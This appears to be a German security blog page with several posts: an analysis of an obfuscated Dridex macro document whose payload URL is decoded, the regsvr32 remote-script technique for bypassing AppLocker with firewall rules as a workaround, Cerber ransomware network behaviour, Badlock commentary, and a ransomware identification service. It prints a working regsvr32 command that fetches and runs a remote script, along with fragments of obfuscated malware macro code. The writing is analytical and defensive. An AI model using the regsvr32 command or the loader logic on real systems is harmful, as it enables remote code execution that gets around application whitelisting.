Maldoc mit süsser Obfuscation-Funktion

Gestern Abend bin ich über neues Maldoc gestolpert, dass auf den ersten Blick sehr kompliziert aussah:

[...]
Set xvGcGaMtmtsqj = dYfMNY.ZXulRsApI(68, wvbhvJfvaLWIzT.iIqfbn("pEnfvTCirqofpnmpefTnt7", "C7Ypf4Tq"), wvbhvJfvaLWIzT.iIqfbn("Px1ROmlCxEbSSl", "9umxbi1l"), 7519, GsaOpV.UpkiCBrNtX(AaSjglvEmkLH, "NcVfRlOgu4k4NVNaHhqMe1AWBhTlG51M"))
pRYzNNXZS = xvGcGaMtmtsqj(ezrRWhq)
End Function
Private Function SwClPpjEAB() As String
Dim sNBkRCbguD As Integer
SwClPpjEAB = dYfMNY.JWYQdzeb(wvbhvJfvaLWIzT.iIqfbn("PHZaVthZLSe.vpHarL.at.ovdr", ".BZLdcNHVv"), "43CVcqwBJrZkcfGsqB", Application, "wvJEkSg9hu46OR5NzFFmBqwa6dt7U0z5c")
End Function
Public Sub SKBCDeXe(ByVal mEpwaGFA As Integer, ByVal FlFzcbqa As Boolean, ByVal kgBzR As String)
Dim kKjJwGHDZYBZZ As String
Dim ftQqCepBh As Boolean
qUhLRTFKmkk = "fbpJMo3Af1GpdrPBMM1w"
[...]

Auf den ersten Blick konnte ich nichts lesbares erkennen und habe auch sonst keinen Anhaltspunkt gefunden.
Bis ich die folgende Textstelle gesehen habe:

Set xAtoMryc = QlPrZgKdBmXkp.hkHNQnQ(wvbhvJfvaLWIzT.iIqfbn("hqFtt8 p0s:qq// w 8wFw0.lma0xllm i0nd8 .qclom80/g0eF8oi0 p0/qvq2 .1q0/cli80tyqF/0m e", " Fql80"))

Das sieht mir doch ganz nach einer URL aus, einfach mit ein paar Zeichen zuviel dazwischen…

Also habe mal begonnen die Zeichen rauszuschreiben, welche ich mit Sicherheit ausschliessen kann wie zum Beispiel alles zwischen dem „HTTPS://www.“ und so ergab sich die Zeichenfolge „qF8 0“. Und wenn man nun die gesamte Zeile anschaut, so muss einem irgendwas auffallen – na, schon gesehen? 🙂

Genau, es wird noch ein Teststring mitgegeben, welcher genau die selben Zeichen enthält. Also löschen wir doch einfach mal die Zeichen aus dem zweiten Parameter raus und schauen, was rauskommt:

hXXps://www.maxmind.com/geoip/v2.1/city/me

Schon lustig, wie schnell man eine Funktion geknackt hat, ohne sonst etwas über den Code zu wissen! Vor allem, wenn es die Funktion 29 Mal gibt im Code 🙂
Nun, nachdem bekannt ist, dass die Funktion nur Zeichen entfernt, ist es ziemlich einfach, die URLs zu identifizieren – eine einfache Suche nach „/“ führt zum Ziel, sobald das Zeichen doppelt im String vorkommt:

ZvHyZixsu rbPzjfS.mdynDInbyX, 7505, wvbhvJfvaLWIzT.iIqfbn("hLAt6tp6O:6/O/pAr2iOn66twLOizAz2O.bOi6Oz6/Oi2maLAgLe/j2siAjgjnL.vpnAgL", "O26vjAL")

Wenn man nun die selbe Replace-Funktion wieder anwendet, so bekommt man:

hXXp://printwizz.biz/image/sign.png

Hinter der URL versteckt sich nun aber kein Bild, sondern ein Executable:

Filename: sign.png.exe
Size: 123KiB (125952 bytes)
Type: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Architecture: 32 Bit
SHA256: 97b1e8282d1ec8f82a83eb3d8a991f494e332e4059b1c9f0d53beda257e21629

Laut erster Analyse scheint das Sample wohl zu Dridex zu gehört. Sobald das Executable am laufen ist, wird eine TCP-Verbindungen nach Tschechien aufgebaut und Daten abgezogen:

host

Wer sich das Sample im Detail anschauen möchte, der darf das gerne hier machen: Disassembler

Regsvr32 und Remote-Scripts – der darf das wirklich?

Mal ganz ehrlich: Wer hat gewusst, dass man mit regsvr32 auch Scripts von einem Remote-Host herunterladen und ausführen kann? Also ich erst seit einem entsprechenden Artikel von Casey Smith

Und die Problematik ist gar nicht mal so unbedeutend: Auf einem einfachen Client mit laufendem AppLocker können nicht einfach so beliebige neue / unbekannte Prozesse gestartet werden. Da ist es doch ideal, wenn man einen bestehenden verwenden kann wie regsvr32, der auf jedem Windows-System schon vorhanden ist. Noch besser, wenn man damit noch die nötigen Ressourcen von einem Remote-Host nachladen und gleich ausführen kann…

Alles was man braucht ist Zugang zu einer Shell und ein Kommando abzusetzen:

regsvr32 /s /n /u /i:http://encodingit.ch/poc.sct scrobj.dll

Auf der Gegenseite braucht es nun nur noch das passende File mit ein bisschen XML und JavaScript und schon kann jede beliebige Aktion über einen simplen HTTP-Request ausgeführt werden:

regsvr32

Gerade jetzt, wo die Malware-Thematik aktueller ist als je zuvor und so Lock-Down-Applikationen wie AppLocker als gute Lösung gehandelt werden, sind solche Spielereien tödlich!

Ein Fix ist aktuell noch nicht verfügbar, lediglich das Einschränken von regsvr32.exe mittels einer SW-Firewall bietet einen Workaround:

netsh advfirewall firewall add rule name="Block regsvr32" dir=out action=block program="C:\Windows\System32\regsvr32.exe" enable=yes
netsh advfirewall firewall add rule name="Block regsvr32(x64)" dir=out action=block program="C:\Windows\SysWOW64\regsvr32.exe" enable=yes

Hoffen wir mal, dass Microsoft bald nachzieht…

Cerber Ransomware – Geht’s noch etwas lauter bitte?

Bisher habe ich nur von der Ransomware Cerber gelesen. Die Eigenheit, dass die Ransom-Note auch über den Lautsprecher vorgelesen wird, ist ja schon irgendwie cool, schliesslich ist es mal etwas anderes als die üblichen Notes, welche man sonst so liest.

Und heute bin ich nun endlich mal über ein Sample von Cerber gestossen und muss schon sagen, ist bin gleich doppelt enttäuscht! Einerseits waren da nur wieder die üblichen, langweiligen Ransom-Notes in TXT und HTML. Die „sprechende“ VBScript-Datei war nicht vorhanden 🙁 Und das bisschen ASCII-Art machte den Verlust auch nicht wieder wett:

13-05-2016 10-56-54

Aber neben der ersten Enttäuschung, gibt es noch die Tatsache, dass die Malware auch sonst gerne mal rumschreit…

Diese versucht nämlich ziemlich exzessiv Kontakt nach Hause herzustellen: Und mit ziemlich exzessiv meine ich 15’000 UDP-Anfragen an insgesamt 10’000 unterschiedliche IP-Adressen aus dem 85.93.XXX.XXX-Bereich nach Port 6892… Und das innerhalb von knapp einer Minute! Also noch lauter „HALLO HIER BIN ICH<" schreien kann man ja wohl in einem Netzwerk nicht mehr: 13-05-2016 11-13-51

Eine komplette Liste der kontaktierten Adressen gibt es hier: cerber_ips.

BADLOCK – Most Overhyped Bug

Badlock ist sicherlich jedem ein Begriff – genug darüber geschrieben und gesprochen wurde ja schliesslich in vergangener Zeit:

Doch wieso wurde diesem Bug so viel Aufmerksamkeit geschenkt, wieso hat der Bug ein Logo und einen Namen während Andere nur eine CVE-Nummer bekommen?
Eigentlich liegt der Schluss somit ja nahe, dass er kritischer oder heikler ist als andere… Ist somit spezielle Vorsicht nötig?

Problematisch ist sicherlich die Entwicklung, welche der Bug durchgemacht hat: Vor knapp einem Monat wurde die Lücke veröffentlicht, jedoch nur mit dem Namen, einem coolen Logo und ohne zusätzliche Details. Da die Medien dies ziemlich schnell aufgriffen, fingen die wildesten Spekulationen an, welche Software-Teile betroffen sein könnten oder wie weitrechend die Auswirkungen wirklich sind… Dazugekommen ist, dass der Name auch sehr viel Spielraum für Spekulationen offen lässt und auf den ersten Blick vielleicht eher in Richtung Locking und Concurrent Programming führen könnte.

Jetzt, nachdem die Details bekannt sind, muss man sicherlich auch mal relativieren: Der Bug ist durchaus heikel, aber nicht so heikel, dass man jetzt in Panik verfallen müsste, wie das auch schon bei z.B. Shellshock der Fall war. Versteht mich nicht falsch, ich sage nicht, man soll die Lücke nicht patchen und schliessen, aber das geht auch wie bei jedem anderen Bug sonst auch und braucht keine 1-monatige Marketingkampagne bevor einzelne Infos darüber veröffentlicht werden. Das ist simple Effekthascherei…
Und schliesslich kann jeder einem Bug einen Namen und ein Logo geben, das ändert aber noch lange nichts an der Wichtigkeit oder der Reichweite eines einzelnen Bugs. Badlock hat auch „nur“ eine CVSS score von 7.1 erhalten und selbst Microsoft stuft den Fix nur als „Wichtig“ und nicht „Kritisch“ ein…

Ich denke mal, wir befinden uns hier auf einem guten Weg für den Pwnie Award „Most Overhyped Bug“… 🙂

Online-Dienst zur Identifizierung von Ransomware

Bei der Incident Response von Ransomware-Ausbrüchen ist es essenziell, dass man ziemlich schnell weiss, mit welchem Typ von Malware man es zu tun hat, um die First Response auch entsprechend ableiten zu können. Nicht gerade Vorteilhaft, wenn man auf eine statische Analyse warten muss, um weitere Infos zu erhalten, wonach man überhaupt sonst noch so suchen muss. Oder als Worst Case: Man hat nur die verschlüsselten Files und keine Malware und kann nicht feststellen, wie genau die Malware sich verhält oder wo man weitersuchen könnte…

Das selbe Problem scheint auch der Twitter-User Michael Gillespie (@demonslay335) zu kennen und hat deshalb eine Plattform „ID Ransomware“ ins Leben gerufen, auf welcher entweder die Erpresser-Files oder aber gleich verschlüsselte Daten hochladen und analysieren lassen kann:

id_ransomware

Nach eigenen Aussagen erkennt man aktuell 59 Ransomware-Familien:

7ev3n, AutoLocky, BitMessage, Booyah, Brazilian Ransomware, BuyUnlockCode, Cerber, CoinVault, Coverton, Crypt0L0cker, CryptoFortress, CryptoHasYou, CryptoJoker, CryptoTorLocker, CryptoWall 2.0, CryptoWall 3.0, CryptoWall 4.0, CryptXXX, CrySiS, CTB-Locker, DMA Locker, ECLR Ransomware, EnCiPhErEd, Hi Buddy!, HOW TO DECRYPT FILES, HydraCrypt, Jigsaw, JobCrypter, KeRanger, KryptoLocker, LeChiffre, Locky, Lortok, Magic, Maktub Locker, MireWare, Mobef, NanoLocker, Nemucod, OMG! Ransomcrypt, PadCrypt, PClock, PowerWare, Radamant, Radamant v2.1, RemindMe, Rokku, Samas, Sanction, Shade, SuperCrypt, Surprise, TeslaCrypt 0.x, TeslaCrypt 2.x, TeslaCrypt 3.0, TeslaCrypt 4.0, UmbreCrypt, VaultCrypt, WonderCrypter

Meine Tests mit CryptoLocker und HydraCrypt haben leider weder mit verschlüsselten noch mit Erpressungs-Files funktioniert, aber einerseits hat die Plattform ja noch potenzial zu wachsen und andererseits ist im Falle eines Ausbruches jedes Mittel recht, selbst wenn es nur bei 10% der Samples etwas hilfreiches hervor bringt…

Zu finden ist die Plattform unter id-ransomware.malwarehunterteam.com.

Bei sehr konstanter Erkennungsrate wäre es natürlich ganz cool eine API zu haben. Ich stelle mir hier Dinge vor wie automatische Alarms auf verdächtige Files, welche dann über die API geprüft und eindeutig identifiziert werden, etc. Zukunftsmusik aber eigentlich gar nicht mal so verkehrt der Gedanke… 🙂

« Older Entries Recent Entries »